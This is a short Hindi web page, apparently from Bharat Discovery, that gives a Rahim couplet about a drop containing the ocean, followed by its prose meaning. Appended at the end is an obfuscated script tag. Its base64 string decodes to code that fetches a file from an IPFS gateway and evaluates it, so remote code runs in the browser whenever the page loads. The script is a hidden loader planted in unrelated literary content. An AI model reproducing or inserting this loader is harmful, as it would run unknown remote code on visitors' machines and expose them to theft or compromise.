बिन्दु में सिन्धु समान -रहीम
भारत डिस्कवरी प्रस्तुति
बिन्दु में सिन्धु समान, को अचरज कासों कहैं।
हेरनहार हिरान, ‘रहिमन’ आपुनि आपमें॥
- अर्थ
अचरज की यह बात कौन तो कहे और किससे कहे: लो, एक बूँद में सारा ही सागर समा गया। जो खोजने चला था, वह अपने आप में खो गया।[1]
रहीम के दोहे |
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>